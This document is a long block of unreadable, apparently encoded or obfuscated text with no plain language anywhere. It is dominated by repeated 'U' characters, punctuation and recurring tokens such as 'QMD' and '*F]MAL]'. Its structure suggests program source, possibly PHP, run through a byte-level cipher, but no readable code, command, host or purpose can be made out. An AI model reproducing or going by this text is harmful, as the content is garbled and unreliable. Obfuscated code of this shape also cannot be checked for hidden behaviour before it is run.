G@ANUUUUUUU UUUUNUUUUUU UUU M ME*@MFB *]QBD EYUUQMD*  E*UHUUE\UUUUUUU]QMD*  E*UUUKUU]DE^C\\UUUUQDC*D*AH%=%*84?:'*#0'&<:;NQGDHQDC*D*A_LNUUU UUNUUUUUUUUUUUUU]TUU*F]BCE\]QBD E\UU		UQBD EUHHHUWWUU		U*F]MFB\]QBD EYUUUUUCLG]GAC\\UTHHUUU\UUUUUU UUUNUQMDUHU5MAL]MFM\]QBD E\NUUUU]QMDUUHHHUUUUUUU		UUTUU*F]MGL\]QMD\\UUQAHDC_FNQBLBHQAXFFNUU UNQDBUUHUUU]MAL]MGM\\UUJU5*F]MFM\]"%*%9 2<;*1<'\UUOUUNUUUUUUU]QDBUUHHHUUUU		U]QMDUTHHUUQDBUUSSUUUUUUMAL]MFL\]QMDYUUUUUQDBU[UUU1<'06!:',*&0%4'4!:'\UTHHUUUE\\UUUU UUUNQCBMGG*AH]EFM^EL\NQGLFCBFHQCBMGG*APDCNUUUUUQFABMUUHUUUUU5MAL]G@E\]QMD\NUUUUUUU]TUUCLG]MDL\]QFABM\\UUUUU UUNUUUUUUUUUUUUUUUU]QFABMUUUUUQAFM*C@A\UUUUUU]QAFM*C@AUUHHHUR[RU		UUUQAFM*C@AUUUUHHHU*F]GAC\\UUUU NUUQEMEMUUUUUHUUQMDUUUU[UUUU]*F]MAE\\UU[UUUUQAFM*C@ANUUU]5*F]MAD\]QEMEM\\UUE F]QEMEM\NUU NUUUUZZUUXUUUUU]5CLG]MAG\]QEMEM\\UUUUUUU M ME*@MFB *]QEMEMYUUQMD*  E*UUUU^UD\NUUUUUUQGEBH]ED^E@\NQBGHQGEBPCNUU]TUUUUUE F]QEMEM\\UF* ]QEMEMYU]E@^EDA@\\NUUE F]QEMEM\NUUUUUUUUUUU]TU5F]MAF\]QMD\\UUUF* ]QMDYUUU]AMB^C\\NU5*F]MAF\]QMD\NUUZZU"%U 0'OU UXUUU UTU5CLG]MEA\]QMD\NUUU UUU@AM EE*]\UUUUUUUUUUQUHUUUUD EAA]\NUU]TUCLG]MDL\]Q\\UU NUUUUUUUQDUUHUU]\NUUUUUQCB*@BUUUUHUNUUUUUU]F]MAA\]Q\UUQ\UZZU"%UC[FUOUUXUU]TUUMAL]BCE\]Q\\UU NUUUUUUUUUUUUUUQ*CUHU*F]MDE\]Q\NUUUUUUU]Q*CUUUHHHUR[R\UUUUUUUUUUUUQ*CUHUUQNUUUUUUUUUUU]]QD.Q*C(\\UUUUU NUUUUUQD.Q*C(UUUUHUU NUU]ED@CAC]Q\\UUUU CMFG]Q\NQCB*@BUUUHUU NUUUUUUUUU]5*F]MA@\] *LMAEE]\\\UQF@FMHDC^DBNQLEHQF@FMXFANUUQF GCUHUUU GD FB@B ] *LMAEE]\\NUUUUUU]MAL]MAC\]QF GC\\UUUUUQAFUUUHUQ29:749&.*F]MEM\(NUUUUUUUU]QF GCUUUUUUUUUUQCE@\UUUUUUUUU]QCE@UUUUHHHUUUUUUM@F M@ L]\\UUUUU NZZU"%U<U4%<UUUUQMUUHU *LMAEE]\UUUUUU[UURZRUUUUU[UQCE@NUUU]TU5F]MGD\]QM\UUU		UUCLG]BB\]CLG]MGG\]QCE@YUUU]F]MAB\\\\UUTHHUUU*F]MAM\\UUUUU NUUUUUU]BDBD ]QMYUUQAF\\UUUUUUE F]QM\NUQCB*@BUUHUU NUUUUUUUUUUUUUUUUUUUUUUUQC C@FLUUUUUHUUUQ29:749&.MAL]AMG\(NUUUUUU]F]MAC\]QC C@FL\USSUTUU]QC C@FL\\UUUZZU'U XUUUUUU]MF@*]QC C@FL\\UUUUQCB*@BUUUHUU NUUUUUUUUUUUUUU]!UQD@D*G\UUUZZU5UXAAMGG*  ]F]MAL\YUUUQD@D*G\NUUUUUUUUUUUUUU]0UUQD@D*G\UUUUUUUUUUUU UBAE ]\UZZUXUX UUUUUUQDE@ UUHU]\U*]F]M@E\YUE\NUUUUU]]F]BBE\]\UXUUUUUQDE@ \UKHUUU]F@FC^CA\\UUUUUUUUU *]MAL]M@D\YU*F]M@G\]\\NUQ A  DUUUHU]]LB @]\YUUU]F]M@F\\\\NQEELUUUUHUUCLG]M@A\]CLG]GM\\UUUUUJUUUUUUCLG]GM\]\UUUUOUWWNUUUUU]QEELUUTHHUUWWUSSUQEELUUUUTHHUUUUULB @]\\UUUQ A  D.(UUUUUHUU]QEELYU]MAL]M@F\YUMAL]M@@\\\NUUUUU]Q A  DUUUUUUQ MGEF\UUUZZU4%6 UU'0&!UUUUUUU]Q MGEF.D(UUUUUUUQD@L*D\UUUUUUUUUUUUQBUUHUUUUUMAL]M@A\]MAL]@EM\\UUUUUJUU5CLG]@EM\]Q MGEF.E(UUUU[UURZRU[UUUUUUQD@L*DUU[UR_R\UUUUUUOUUNUUUUUUU]TMAL]MAC\]QB\\UU NUUUUUU]QBUUUUUUQ@BB\UUUUUUUUUUU]T5F]M@C\]Q@BB\\UUUUU NUUUUUUUQDGAFLUUHU5F]GEG\]Q@BB\NU]QDGAFLUUUTHHUUUSSUUUU]CLG]M@B\]\UUXUUQDGAFL\UUUKUUU]BELBXFALB\\UUE F]Q@BB\NUQBMCBUUUUUUHUU*]F]BBM\YU]\\NUUUU]TCLG]MAC\]QBMCB\\UQBMCBUUHUUUUU]\NUUUUQ@EEDUHUUUMAL]G@B\]DCLLEEFE]\YU*F]M@M\\NQDMBHCDENQ  H]QDMBKE\JQDMBOXQDMBNQ*UHU]]CLG]DAE\\UUJUU"%*6:;!0;!*1<'UOUU47&%4!=UUU[UUCLG]M@L\\U[UUUUMAL]MCE\NU]MAL]M@A\]F]@EM\\UUUUJUU]\U5MAL]@EM\]Q*UUU[UUUMAL]MCD\\UUUOUUUUUU]\UUUQDDC\UUUUUUUUU]CLG]MCG\]MAL]MDE\]QDDC\\UUHHHUQ@EED\UU NUQBGFE@UHUF]MCG\]CLG]MCF\]QDDC\\UU[UURZRUUUU[UCLG]MCG\]QDDC\NQCELLHDA@	DCCNQ@HQCELL+DFANUUUUUUUU]MAL]BLC\]QBGFE@YUUQBMCBYUUUU \\UU NUUUUUUUU]T5MAL]DAB\]QDDC\\U NUQA* GUHUU5MAL]GGF\]QDDC\NUUUUUUU]TQA* GUU		UUUQA* GUUUUKU]GELBEBF^BL\\UUU NUUUUUUQAECUHU5*F]@LL\]QDDC\NUU]TCLG]BCE\]QAEC\UUUU		UUUUUMAL]MCA\]QAECYUF]MC@\\UUHHHUUU\UU NQC@BEAUUUHUU*F]@DD\]*F]MCC\YUUUUUWWYUUQAEC\NUUUUUUUUUUU]TCLG]BCE\]QC@BEA\UUUUU		UUUQC@BEAUUUUUHHHUUUQAECUUUUU		UT@LE*B ]QC@BEA\\UU NU FAF@D]QDDCYUUUUQC@BEA\NUU]F]MCB\]*F]GEE\\\U5*]QDDCYU \NUUUUU ]QBMCBYUUUUUUQ@EEDYUUUUQ*YUUQDDCYUUUUUQBGFE@YUUQA* GYUUQAECYUQC@BEA\NUU@BE*E]\NUUUUUUUUUUQFBGAUHUUUUUQ29:749&.*F]MCM\(NQC C@FLUHUQ29:749&.CLG]AMG\(NUUUQ DUUHUUU]MAL]MAC\]QFBGA\UUUUSSUUTU]QFBGA\\UU		U]*F]MCL\]QC C@FL\UUSSUUUTU]QC C@FL\\NUUUU]TUQ D\UUUUUUUUU NUUUUUUQ*DCUUHUU]\UUU*]*F]MBE\YUUE\NUU]]*F]M@B\]\UUUUUXUQ*DC\UIUUUU]ELL^EABG\\UUUZZU"%U!U6 OUU UUUUU NUUUU@AM EE*]\N *]CLG]MBE\YUF]M@B\]\\NUUUUUUUU]!UUUQD@D*G\UUUUAAMGG*  ]CLG]MBD\YUUQD@D*G\NUUUUUU]0UUUUQD@D*G\UUUZZU%&'XAUUUUUUUUUUU UUCDLG*C L]\UUUUUUUUUUUQEADUUUUUHUUGDG]\NUUUUUUU]TQEADU		UUMAL]@@F\]QEAD\UIUU]AAG^@M\\U NUUUUU]T@LE*B ]QEAD\\UQD@ HAMCNQALBBDH]QD@ KE\JQD@ OXQD@ NUAAMGG*  ]F]MBG\YUCLG]MBF\\N NUUUUUUUUU]*F]MCB\]MAL]MBA\\UUUSSUU*]F]MB@\\\U NUUUQADGDUUHUUUU *LMAEE]\N] \NUU]5MAL]MBC\]QADGD\UUUUSSUT5*F]MA@\]QADGD\\UUUU NUUUUUUUUUUUUU]T5MAL]MBB\]QADGD\\UUUUUUUUUUQUHUUUUU5 ]E\NUUUUU*DAA]QADGDYUUUUUU]B@EXG@B\YUU \NUUUUU5 ]Q\NUF* ]QADGDYUU]ADD^MG\\NU] \NUUUUUUU]T5F]MDD\]QADGD\UUUUU		UT5CLG]DAB\]QADGD\\UUUUUUUUF* ]QADGDYUU]GF@^G@M\\NU] \NUUUUUUUUUUUUUUU]5MAL]MBB\]QADGD\USSUUUUU]T5MAL]MDD\]QADGD\UU		UT5F]DAB\]QADGD\\UUSSU5CLG]MAF\]QADGD\\UUUQUUHUU5 ]E\NUU*DAA]QADGDYUU]DGB^FCC\YUUU \NUU5 ]Q\NUUUUUUF* ]QADGDYUUUU]AME^DF\\NU] \NUUUUUUUUUUU] \NUUUUUU]T5*F]MBB\]QADGD\UU		UUUUT5CLG]MBM\]QADGD\UU		UT5MAL]MDD\]QADGD\\UUUUUUAAMGG*  ]F]MBG\YUUF]MBL\\NUUU]CLG]MME\]*F]BMD\\\UU5*]*F]MB@\YUUDYUU]@FAFXDBAF\\NU NUUUUUUUUUUQFAGAUUHUUQADGDUUUUUU[UUUURZRU[UUM@F M@ L]\NUUUUUUU]DFMCGD@]QFAGA\\UU NUU]5CLG]MMD\]QFAGA\USSUUUUU5CLG]GGF\]QFAGA\UUUKUU]ALBD^GL\UUUUUUSSUUUUUUF]MMG\]*MB @AB]]\UU5CLG]MMF\]QFAGA\\\UUHHHUUUUUMAL]MMG\]QEAD\\UUUUELAAL*]QFAGA\NE EB]\NUCGBGBE]\NUU NUUUUUUUUU]5*F]MMD\]QFAGA\UUSSUU5F]GGF\]QFAGA\UUKUU]EDC^EDDG\\UUUQAG@HXFBFNQC*H]QAG@KE\JQAG@OXQAG@NUUQGAEAFUUHUUUUUU]\U5F]MMA\]QFAGAYUYUUU YUUUUUEYUUUU]ACMFX@MB\\NU]F]BCE\]QGAEAF\UUSSUUMAL]MEC\]CLG]BCA\YUUQGAEAFYUUQ*\UUSSUUU*]Q*.D(YUUMCCFB]\YUURKR\\UU N ]QGAEAFYUUQ*\NUUUUUUUQME *@UUUHUUUUUU FAF@D]QFAGAYUFD @]QEAD\\NUUU]TQME *@U		UUUT5*F]MM@\]QFAGA\UUU		UUUUU5*F]GGF\]QFAGA\UIUU]DMELXMEL\U		UUUU*F]MMG\]*MB @AB]]\U5*F]MMC\]QFAGA\\\UUUTHHUCLG]MMG\]QEAD\\UUUUUUUU]QME *@UUSSUUU5F]MMD\]QFAGA\\UUUUUUUUQGAEAFUUUHUUUU]\UU5F]MMC\]QFAGAYUYU YUEYUU]AEEG^LA\\NUUUUUUUUQ CL*UUUUUUHU*F]MMB\]QGAEAF\USSUF]MEC\]*F]BCA\YUUQGAEAFYUQ*\UUUUSSUUU*]Q*.D(YUUUMCCFB]\YUURKR\NUUUUU ]QGAEAFYUUUUQ*\NUUU]TQ CL*\UUF* ]QFAGAYUUUU]BGDXFED\\NE F]QFAGA\NUUUUUUUUUUUU]*F]MME\]*F]BMD\\\U5*]MAL]MB@\YUUUUDYUUUU]MLG^GBEM\\N NULAAADF]QFAGA\NQDCMHGGL	CFNQ*EGMDHQDCM+DACNUF* ]QFAGAYUUU]DML^DEF\\NUUELAAL*]QFAGA\NUE EB]\NUUUUUUCGBGBE]\NUUUUUUUUUUUU]!UUQD@D*G\UUUAAMGG*  ]MAL]MBG\YUQD@D*G\NUUUUU]0UUUUUUQD@D*G\UUUUUU UG]\UUUUQEADUHUUGDG]\NU]QEADUSSUUUTDGD@@LCD]QEAD\\UUQUHUUUU GLAF F**]CLG]MEE\YUUWW\NUQGLGAUUHUUUUUD@CDL]*F]MMB\]Q\UUUUJUUUQUUOUUUUWW\NUUUQ*B**FUUHUUUUUD@CDL]QEAD\NUUUUU]TCLG]MMB\]Q\UUUU		UUCLG]@@F\]Q\UUUIUUU]ELL^ED@\UU		UUDGD@@LCD]Q\UU		UUUUQGLGAUHHHUUUWWUUUUU		UU]Q*B**FUTHHUUUWWUUUUSSU*]Q*B**FYUQGLGAYURKR\\\UUU*GCGG]CLG]MEE\YUUUQEADYU*F]BML\\NUU]*F]MME\]CLG]MMM\\\UU5 *]F]BAB\YUUEYUUMAL]BML\\NUU5 *]CLG]CDC\YUEYUUUUUCLG]BML\\N5 *]CLG]B@B\YUUEYUUUMAL]BML\\NUUUUUUUU]CLG]MML\]F]MLE\\\U5*]D*LB@@BE]\\NUUUUUUUUUUU]CLG]MML\]*F]MLD\\UUUUUSSUUU*F]MLG\]MAL]MMM\\\UUUUUUUQ FMUUUHUU*]CLG]MLF\\NUUUUU]Q FMUTHHUUUUSSUUQ FMUUTHHUUUMCCFB]\\UUUUU5 *]F]MLF\YUUUMCCFB]\YU*F]MLA\\NUUUUZZUUUXUUUU]TUF]ML@\]CLG]MLC\\UU		UUUUTU*]CLG]MLF\YUUUUUMCCFB]\YUUUWWYUCLG]MLA\\\UU NUUUUUUUUUAGFGBA]\NUU]CLG]ML@\]CLG]MMM\\\UUUUUUUU5 *]CLG]BAB\YUEYUF]MLA\\NUU5 *]MAL]CDC\YUUEYUUUF]MLA\\N5 *]MAL]MLB\YUUEYUUUF]MLA\\NUUUUUUUUU]MAL]ML@\]*F]MLE\\\UU5*]D*LB@@BE]\\NUUUUUUU]QEADUUUUUSSUUTDGD@@LCD]QEAD\\UU*GCGG]MAL]MEE\YUUQEADYUUUUUUCLG]MLM\\NUZZU5UAFBADCCMB] \NUUUUUUUUUUUUF* ]DCLLEEFE]\YUUUUU]E^E@\\NZZU5U XGEEF ]MAL]AAG\YUU*F]AAF\YUE\NUUUUUUUUGEEF ]MAL]MLL\YUUUUMAL]LEE\YUUUUE\NUUUUUU]!UUQD@D*G\UUUUAAMGG*  ]MAL]LED\YUUUUQD@D*G\NUUU]CLG]ML@\]*F]LEG\\\UUUU5*]*F]MLF\\NUUUUUUUU]0UUUQD@D*G\UUUUUUUUUUUU]MAL]ML@\]*F]LEG\\\UUUUUU5*]F]MLF\\NUUU UUL*LEGF ]\UUUUUUUUUUUUUQHFC_MNQ HQXDGNUUUUUU]MAL]ML@\]CLG]BMA\\\UUZZU"%U0U%UU5*F]LEF\]* ]RZR\YU]*F]BMC\UUUUHKU]D^A\YU*F]FFM\UHKUYUCLG]AAM\UHKUUU\\NUUZZU%=%UM[GU OU UUUU]!UUQD@D*G\UUUUAAMGG*  ]*F]LEA\YUUUQD@D*G\NUUUU]0UQD@D*G\UUUUUUUUUUUUUUUUUU U@@D DL@D]\UUUUUQLBLLEBUUHUUNUUU]QLBLLEB\UU NUUUQLBLLEBUHU NUUUUUUUUU]TUUUUUF]ML@\]*F]LE@\\U		UUTU*]\\U NUU]TF]ML@\]MAL]MFD\\UUUU		UUUT * *]CLG]LEC\\\UUUUUUUU NUUUUUQ C@CUHU]Q*'0$ 0&!.*F]LEB\(\UUJUQ*'0$ 0&!.MAL]LEB\(UUUOUUUWWNUQ C@CUUHUUMAL]MMB\]Q C@C\UJUUF]CMD\]Q C@C\UOUWWNUUUU]Q C@CUTHHUUCLG]LEM\UUUUUUSSUUQ C@CUUUTHHU*F]LEL\\U NUUUUUUUUUUQ**B  EF@DBMCUUUUHUUUU]\NUUUU]Q C@CUUHHHUUMAL]LEM\\UUUUUQCB @MUUUHUUU]Q*'0$ 0&!.F]BE@\(\UUJUUUQ*'0$ 0&!.MAL]BE@\(UUUOUUUUUWWNUUUUQCB @MUHUUMAL]MMB\]QCB @M\UUJUUMAL]LDE\]QCB @M\UUUOUUUWWNUUUU]QCB @MUUUSSUUUUQCB @MUUTHHUUE@CBLELCE]\\UUUUUUUQ**B  EF@DBMC.(UHUUUQCB @MNUUUUUUZZUUXUUUUUUUUQ**BDFUUUUUHU]Q*'0$ 0&!.*F]LDD\(\UUJUUUUQ*'0$ 0&!.*F]LDD\(UUUUOU]\NUUUUUQ**BDFUUUUUHUUF]LDG\]Q**BDF\UUUJUUQ**BDFUOUU]\NUUUUU]Q**BDFUUQCB @M\UZZUUUUUUUQCB @MUUUHUUUF]MMB\]QCB @M\UUJUU*F]LDF\]QCB @M\UUOUUUWWNUUUUU]QCB @MUSSUQCB @MUUTHHUUE@CBLELCE]\\UUUUQ**B  EF@DBMC.(UUUUUHUUQCB @MNUUUUUUUUUUUUUUUUU]]Q**B  EF@DBMC\\UU NQ*M* HDGC	MENQGHQ*M* +MDNZ_UUXU_ZUUUUQCB*@BUUUHUNUUUUU]Q**B  EF@DBMCUUUUUQCB @M\UUQBH]EG^EF\NQ@AHQBPDCNUUUUUUUUU]ED@CAC]QCB @M\\U CMFG]QCB @M\NUQCB*@BUUUUHUU NUUUU]QCB*@B\UUUUUUUU]F]ML@\]F]LDA\\USSUUMAL]ML@\]MAL]LD@\\\UUUUUUZZU%=%&UULOUUU**]* ]MAL]LDC\\\NUUUUUUUUUUUUU]!UUQD@D*G\UUUUUAAMGG*  ]*F]LDB\YUUUQD@D*G\NUUUUUUU]0UUUQD@D*G\UUUZZU%&'XAUUUUUUU UUUUUUAF@L]Q*YUUUQBEEGB\UUUUUU]QBEEGBUUUUHHHUUUCLG]LDM\\UUUQ UUUUUHUUUSQ29:749&.MAL]LDL\(NUUUU]T]Q .CLG]LDM\(\UU		UUUTMAL]LDG\]Q .MAL]LGE\(\\UUUU UQ*NUUUUUQ*DC*GUUUUUHU]MAL]DAE\\UUJUU"%*6:;!0;!*1<'UUOUU]]CLG]E\\UJUUUUUU47&%4!=UUU[UUUMAL]M@L\UUOUUUWW\NUUUUU]Q*DC*GUHHHUUUUWW\UUUUUUUU UUUUUQ*NUUUUUUUUUQ C*UUHUU]MAL]LGD\UUUUHKUUF]LGG\YUU*F]LGF\UUHKUUUUUUCLG]LGA\\NU]Q C*UUUUUUUUQABUHKUUUQD@L*D\UUUUUU]T]Q .CLG]LG@\(.QAB(\\UUU NZZU5  UUQFFUHU5MAL]LGC\]Q*DC*GUU[UUURZRUU[UQAB\NUUUUU]T*F]MMB\]QFF\UU		UUUUUUF]MCA\]QFFYUUUF]LGB\UU[UQD@L*DU[UUF]LGM\\UUUUUHHHU\UUUU NUUUUUUUUUUQMLF *UUHUUU*F]@DD\]CLG]LGL\UUU[UUUUUQD@L*DU[UUUMAL]LFE\UUU[UUUQD@L*DUU[UF]LFD\YUUUWWYUUUUQFF\NUUUUUUUUU]TMAL]MMB\]QMLF *\\UUU NUUUQMLF *UUHUUUU*F]LDF\]QMLF *\NUUUU]QMLF *UUUHHHUUUWWUU		UUQMLF *UUHHHUUUUUCLG]BCD\UUU		UUUUQMLF *UUUHHHUF]G@L\\UZZU"%U 7%UU!!9UUU ]Q .*F]LG@\(.QAB(\NUUUUUUUUUUUUUU UUQ*NUUUUUUUUUUUU]QBEEGBUUTHHUMAL]LFG\\UUU UQ*NUQ UUUHUUUSQ29:749&.F]LFF\(NUUUQD@B UHUUUUUUMAL]MCG\]DCLLEEFE]\\NUUUUUUUU]]Q .MAL]LFA\(.QD@B (\\UUUUU ]Q .CLG]LFA\(.QD@B (\NUU UUQ*NUUUUUUU]TF]ML@\]CLG]LF@\\\UUUU U**BACABDE]\UU]TU FDLF*DM]\\UUUUUUUUUUU NUUUUUQGDBUHUF]LFC\]DCLLEEFE]\\NUQGEUUHUUUUCLG]LFC\]DCLLEEFE]\YUF]LFB\\NUUUUUQA*LAUUUUHUUQGEUU[URZRUUU[UUUQGDBNUUUUUUUMAL]LFM\UU[UUUUUU*]QGDB\U[UMAL]LFL\UUUU[U*]QA*LA\U[UUUMAL]LAE\NUUUMAL]LAD\U[UUUU*]QGDB\UUUU[UMAL]LAG\UUUUU[UUUUU*]QA*LA\U[UCLG]LAF\NUUUUUU]T*F]LAA\]*F]LA@\\\UUUUUUUUU UDABM*]Q  EDCE\Z_UUU_ZUUU]TUF]LM\]Q  EDCE\\UUU UUQ  EDCENQF @LMHCGAMNQL@@FHQF @LMPDDNUUUQGDBUHUUE@CBLELCE]\NUUUUUU]]Q  EDCEXK.QGDB(\\UUUUU ]Q  EDCEXK.QGDB(\NUUUUUUZ_UUU_ZUUUUU UUUUUUQ  EDCENUUUUUU]TF]LAA\]F]LAC\\\U UACDL]Q \UUQADCEUUHUE@CBLELCE]\NUU]]Q .QADCE(\\UUUUUUUUU ]Q .QADCE(\NUUUUUUUUUQGEUUHUUUF]LFC\]DCLLEEFE]\YUUMAL]LFB\\NUUQA*LAUUHUUQGEU[URZRUUU[UU*F]LAB\]DCLLEEFE]\\NQ@M DE LHBAFNQGAE*LH]Q@M DE LKE\JQ@M DE LOXQ@M DE LNUUU]]Q .QA*LA(\\UUZZU"%U$ U9OUU U ]Q .QA*LA(\NUUUUUUU UQ NUUUUUUU UUMLEBB@D]QCF*GM\UUUUUUUUUU]TUCLG]LDG\]QCF*GM\\UUUUUUUUU UQCF*GMNUUUQELLUUUHUUUUUWWNUUUUU]MAL]LAA\]CLG]LAM\\USSUMAL]MM@\]DCLLEEFE]\\\UUUUUUUQFFEGUUUUUHU* *]DCLLEEFE]\YUUUUUYUUUU\NUUQELLUUUHUU]QFFEG.MAL]LAL\(\UUUJUQFFEG.MAL]L@E\(UOUUWWNUUUUUUQABL AUUHUUU]CLG]L@D\YUF]L@G\\NUUU]QABL AUUUUUUUUQE \UUU]TUUUU]QCF*GM.QE (.CLG]L@F\(\UU		UUTUUMAL]L@A\]QCF*GM.QE (.*F]L@F\(\\UUUUUUUU NUUUUUUUU]QCF*GM.QE (.*F]L@@\(UUUUUUUQUUUUUHKUUQA@ G\UUUUUUUUUUU]MAL]L@C\]QYUUE@CBLELCE]\\UUUTHHUUUUUU		UUUUUUQUHHHUUUUE@CBLELCE]\\UUUUUUUU ]QCF*GM.QE (.*F]L@@\(.Q(\NUUUUU NUUUUUUUU]QELLUUTHHUWWUUUSSUUUQUUHHHUQELL\UUUUU ]QCF*GM.QE (.MAL]L@@\(.Q(\NU NUUUUUUUUUUUZZU"%U;U7OUXUXUUU]]CLG]L@B\YUUUUUF]L@M\\UUUUUUUQA \UUUUQ GA*CUUHUUU]QCF*GM.QA (.*F]L@@\(\USSUU*F]L@A\]QCF*GM.QA (.F]L@@\(\UUUJUUUUUQCF*GM.QA (.CLG]L@@\(UUOUUUU]\NUUUUUUUUUU]TQ GA*C\UU NUUUQBB*UUHUUUUU]F]DA\\UUUUJU"%8 *%9 2<;*1<'UOU]]F]DAE\\UUJU"%*6:;!0;!*1<'U[UUCLG]D@\UUUUUUOUUUUUUWW\NUUUQ*LM**DUUHUUUU]\NQ*EH]EB@^EC\NQ DHQ*EPCNUUUUUUU]QELLUUTHHUUWW\UUUQ*LM**D.(UHUUQELLNUUUQ*LM**D.(UHU*F]LAB\]DCLLEEFE]\\NUUUUUU]QBB*UUTHHUUWWUSSUUU5F]MBB\]QBB*\USSUF]LAA\]MAL]@EM\\\UUUQHG	DFENQD@EHQ+ACNUUUUUUUUUUUU]]\U5CLG]@EM\]QBB*UU[UMAL]CCG\\UUUUUQG@GE\UUUQBLFAUUHUU5CLG]LGC\]QG@GEYUUYUU YUEYUUU]D@GGBXBEF@\\NUUUU]TMAL]MMB\]QBLFA\UUUU		UUCLG]L@C\]QBLFAYUF]L@L\\UUUUUUHHHUUUUU\UU NUU]F]MEC\]CLG]LCE\YUQBLFAYUUUUQ GDFAM\\UUUQ*AFDEUHUUUMAL]LDF\]Q GDFAM.D(\NUUU]Q*AFDEUTHHUUWW\UUUQ*LM**D.(UUUHUUQ*AFDENUUZZUU UUUQ*LM**D.(UHUUF]LCD\]QG@GE\NUUUUU]Q GA*CUUUQUUHKUQA@ G\UUUUU]Q*LM**DUUUUQABA*\UUUUUU]QUUHHHUUQABA*U		UQUUUHHHUU**]QABA*\\UUUUUUU ]QCF*GM.QA (.*F]L@@\(.Q(\NUNQD L@MH]EC^EGE\NQGE*GGHQD L@MPDFNUQEEFDBGDUUUHUUU]QCF*GM.*F]LCG\(.CLG]L@@\(\UUSSUUUCLG]LCF\]QCF*GM.F]LCA\(.F]L@@\(\UUUJUUQCF*GM.CLG]LCA\(.F]LC@\(UUOU]\NUUUU]QEEFDBGD\UQ*DC*GUUHUU]*F]DAE\\UUUUJUUU"%*6:;!0;!*1<'UUUOUU]]F]LCC\\UUJUU47&%4!=U[UU*F]LCB\UUUUUOUUWW\NQ C*UHUUUU]CLG]LGD\UUHKUUUUUCLG]LGG\YUU*F]LGF\UUUUUHKUU*F]LGA\\NUUUUU]QEEFDBGDUUUUQUUUUHKUUUQA@ G\UUUUUUUUUUUUU]T]Q C*.Q(\UU		UUUUQ*DC*GUUUUHHHUUUUUWW\U NQFFUHU5*F]LGC\]Q*DC*GUUU[URZRU[UUQYUUYUU YUEYU]CDLMXGDEG\\NUUUUUUUU]*F]MMB\]QFF\USSUUUUUU]MAL]L@C\]QFFYUU*F]LCM\U[UUUQ C*.Q(UUU[UUCLG]LCL\\UUTHHUUUUUUU		UCLG]LBE\]QFFYUUUUUUMAL]L@L\\UTHHU\\UUU ]QCF*GM.MAL]LCA\(.*F]LC@\(.Q(\NZZUUUUZZU"%U%U9OUUXUUUUUU UQCF*GMNUUUUUUUU UUU*BE *@]Q@FEA\UUUUUUUU]TUUUUCLG]LCF\]Q@FEA\\UUZZUUUX  UQ@FEANUUQADFCGUUUHUUUUMAL]LCD\]DCLLEEFE]\\NUUUQCBDFUUHUUCLG]MGG\]QADFCGYUUU%4!=<;3:*3<90;480\NUUUUQMEUUUHU]UU]F]LBD\UUHKUURVRU[UU*F]LBG\]QADFCGYUUURVR\U[UF]LBF\YUUU*F]LBA\UUUUUHKUU \YUUUU]MAL]LBD\UUUUUHKUUCLG]LB@\UUUUU[U*F]LBG\]QCBDFYURVR\UU[UUUCLG]LBF\YUUF]LBA\UUUUUHKUUU \Y\NUUU]]Q@FEA.MAL]LBC\(\USSUCLG]LCF\]Q@FEA.CLG]LBC\(\\UUUUUUUUUUUUUUUU]Q@FEA.F]LBC\(UUUUQE@MCG@UUUUUHKUQL@A\UUUUU]TUU*F]LBB\]QL@A\U		UUUUTUUUUU*F]LBM\]QE@MCG@\\UUU NUUUUUUU]TUUU]Q@FEA.CLG]LBC\(.QE@MCG@(.F]LBL\(\UUUU		UUUUTUCLG]LBB\]Q@FEA.MAL]LBC\(.QE@MCG@(.F]LBL\(\\UQ@FEA.CLG]LBC\(.QE@MCG@(.CLG]LBL\(UUUHUU]\NUUUUUUUUUUU]QMEUUUUUUQL\UUUZZUXUX UQ@FEA.F]LBC\(.QE@MCG@(.F]LME\(.(UUHUUUQLNUUUUUUU UQ@FEANUUUUUU UUUUDC L]\UQEABD@H%=%*<;!*84-Z%=%*<;!*84-NQFG*HQEABD@^LDNUUUUUUUUUUU]TU]MAL]LMD\\UUUU		UU]F]LMD\\UUIUUU]G^@\\UUUUUUUUU NQFF*H%=%*<;!*84-Z%=%*<;!*84-NQ*HQFF*^DFNUUUUUUUUUUU]*F]CEL\]*F]LMG\YUU\\UUUZ_UX UXU_ZU NUUUQEAFUUUHUUUUUUMAL]LCD\]DCLLEEFE]\\NUUUUUQMLAUUHU]CLG]MGM\\UJUUU"%*%9 2<;*1<'UUUUUOUWWNUQ*LFUHUU]UQMLAUUUUUU[UMAL]LMF\YUUUQMLAUUUUUU[UF]LMA\YUUUUUUUQMLAUU[U*F]LM@\YUUUUUU\NQ EUHUUUUUWWNUUU]Q*LFUUUUUQGDB\UU]QGDBUUUUTHHUUUUWWUUUSSUUU5F]LMC\]QGDB\UUSSUUU5F]MDD\]QGDB\\UUUUUQ EUHUUUQGDBNUUNUUUUUUUUUUUU]Q EUHHHUWW\UUUUU NUUUUUUUQEAF*UUHUU*F]MCF\]Q E\N* *] U]QDAELF\UU UUUUUU]QEAF*\UUUUUUUUUU]]QEAF*UUUU[UUURZRU[UUUQDAELFUU[UF]LMB\YUUUUQEAF*UUU[UUUURZRUU[UUQDAELFU[UUUU*F]LMM\\UUUUUUQ@B A\UUUUUUUUUUU]5MAL]LMC\]Q@B A\\UUUU *UUQ@B ANUUUUUU NUUUUUUUUU\NUUUQAM@GE DUUHUU5*F]LGC\]Q E\NUU]QAM@GE DUUUHHHUUUUUUUUUU		UUMAL]LBE\]QAM@GE DYUUUUUUCLG]LML\\UHHHUUUUU\UUUUUUUUUU NUUQAM@GE DUUUHUUUUMAL]LLE\]CLG]LLD\YUUUWWYUUQAM@GE D\NUUUUUQAM@GE DUHU*F]AEL\]MAL]LML\YUUUMAL]LLG\YUQAM@GE D\NUUQ@FUUHUUUUUU*CCF A*DCEC]*D]\YUCLG]M@@\\NUUUUU]Q@FUUHHHU\UUUQEM@HD@^@CNQMCEEHQEM@XACNUUUU NUUU5F]GDG\]Q@FYUF]LLF\UU[UUUUQAM@GE D\NUUU5 UQ@FNUUUUUUE F]Q@F\NUUUUUUUQ   AUUUUHUUUUUF]MGG\]QEAFYUU%4!=<;3:*3<90;480\NUUQ29:749&.MAL]LLA\(UUHUQEAFNUUQ29:749&.*F]LL@\(UUHUUUUUQ   ANUQMFDUUHUF]LLC\UU[UF]LLB\UUU[UUMAL]LLM\UUUU[UUUUMAL]LLL\UUU[UCLG]DEEE\[UUUURR[UUCLG]DEED\[UURR[UUURRNUUUUUQLMD **UUUHUU*CCF A*DCEC]*D]\YUUUF]DEEG\\NUUUUUUU]QLMD **\UUUZZUX U  UU"%U0U%UUU5CLG]GDG\]Q